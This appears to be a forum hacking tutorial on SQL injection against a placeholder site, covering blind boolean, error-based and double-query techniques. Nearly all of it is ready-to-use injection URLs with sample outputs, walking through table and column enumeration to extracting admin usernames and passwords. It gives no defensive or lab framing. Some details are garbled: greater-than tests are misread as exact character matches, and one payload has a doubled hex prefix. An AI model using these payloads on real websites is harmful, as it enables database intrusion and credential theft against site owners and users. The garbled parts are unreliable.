If you have read the tutorial about time delay(based) SQL injection this won't be so hard for you basicly you have to guess every think. To test website for blind SQL vulnerability we use and 1=1, and 1=2[b] query here is how it's done. Code: www.site.com/news.php?id=1 and 1=1 * Page load normal
www.site.com/news.php?id=1 and 1=2 * Page doesn't load normal for example the images have disappear or the text anything that can change on the web pageCode: www.site.com/news.php?id=1 and substring(@@version,1,1)=4 * Page doesn't load normal/false
www.site.com/news.php?id=1 and substring(@@version,1,1)=5 * Page load normal/trueCode: www.site.com/news.php?id=1 and (SELECT 1 from news limit 0,1)=1 * page load normal/true
www.site.com/news.php?id=1 and (SELECT 1 from users limit 0,1)=1 * page doesn't load norma/false
www.site.com/news.php?id=1 and (SELECT 1 from admin limit 0,1)=1 * page load normal/trueCode: www.site.com/news.php?id=1 "(SELECT substring(concat(1,user),1,1) from admin limit 0,1)=1" * page load normal.true
www.site.com/news.php?id=1 "(SELECT substring(concat(1,password),1,1) from admin limit 0,1)=1" * page doesn't load normal/ false
www.site.com/news.php?id=1 "(SELECT substring(concat(1,pass),1,1) from admin limit 0,1)=1" * page load normal/trueCode: www.site.com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>97 * Page load normal the first char is a we can try with admin ?
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),2,1))>100 * Page load normal second characters is d
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),3,1))>109 * Page load normal the character is m I can be bet that it's admin.
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>105 * Page load normal, the character is i
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>110 * Page load normal the data is admin.Code: www.site.com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),1,1))>122 *Doesn't load normal the first character isn't z
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),1,1))>112 * Page load normal first character is p
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),2,1))>97 * Page load normal the character is a
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),3,1))>115 * Page load normal, the character is s
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),4,1))>115 * Page load normal the data is pass.Error based injection Spoiler:
The cool thing here is that we don't have to guess tables and columns. Basicly you can use this method when you get error like: Code: Error #1604
The Used Select Statements Have A Different Number Of Columns.
Unknown column 1 in order clause.Code: www.site.com/games.php?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1--Code: Duplicate entry '5.5.29-log~1' for key 'group_key'Code: www.site.com/games.php?id=1 and (select 1 from (select+count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--Code: www.site.com/games.php?id=1 and (select 1 from (select+count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a--
www.site.com/games.php?id=1 and (select 1 from (select+count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a--Code: www.site.com/games.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x74626c61646d696e limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--Code: www.site.com/games.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x74626c61646d696e limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
www.site.com/games.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x74626c61646d696e limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)Code: www.site.com/games.php?id=1 and (select 1 from+(select count(*),concat((select(select concat(cast(concat(user,0x7e,password) as char),0x7e)) from admin limit+0,1),floor?(rand(0)*2))x from information_schema.tables group by x)a)--Code: '1~admin~password123~1' for key 'group_key'Double query injection Spoiler:
In this spoiler you will read about double query, it's not so hard injection. Let's start, to check website for vulnerability use '. Ok the first thing we should do is to find the column count. we do this by order by statment like the way with string injection. Code: http://www.site.com/index.php?id=1 order by 100--+- * Error
http://www.site.com/index.php?id=1 order by 1--+- * No error
http://www.site.com/index.php?id=1 order by 10--+- * No error
http://www.site.com/index.php?id=1 order by 15--+- * Error
http://www.site.com/index.php?id=1 order by 11--+- ErrorCode: http://www.site.com/index.php?id=1 union all select 1,2,3,4,5,6,7,8,9,10--+-Code: The used SELECT statements have a different number of columns.Code: http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code: Duplicate entry '~'5.0.91'~1' for key 1Code: http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code: Duplicate entry '~'universe' for key 1Code: http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(user() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code: Duplicate entry '~'DB_user@localhost'~1' for key 1we can do this by using this site http://www.swingnote.com/tools/texttohex.php [/code] Here how this should look. Code: http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0x756e697665727365 )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code: Duplicate entry '~'number_of_table(e.g 2)~1' for key 1Now you may see that after the database name in hex there is limit, we need to incrase it to get all tables. Code: http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0x756e697665727365 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+-
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0x756e697665727365 limit 0,1)) from information_schema.tables limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code: Duplicate entry '~'news'~1' for key 1
Duplicate entry '~'admin~1' for key 1Code: http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0x756e697665727365 AND table_name=0x61646d696e )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code: Duplicate entry '~'number_of_column(e.g 2)~1' for key 1Code: http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0x0x756e697665727365 AND table_name=0x0x61646d696e limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1Code: Duplicate entry '~'username'~1' for key 1
Duplicate entry '~'password'~1' for key 1Code: http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(admin.username as char),0x27,0x7e) FROM `universe`.admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(admin.password as char),0x27,0x7e) FROM `universe`.admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code: Duplicate entry '~'Admin'~1' for key 1
Duplicate entry '~'123456'~1' for key 1 |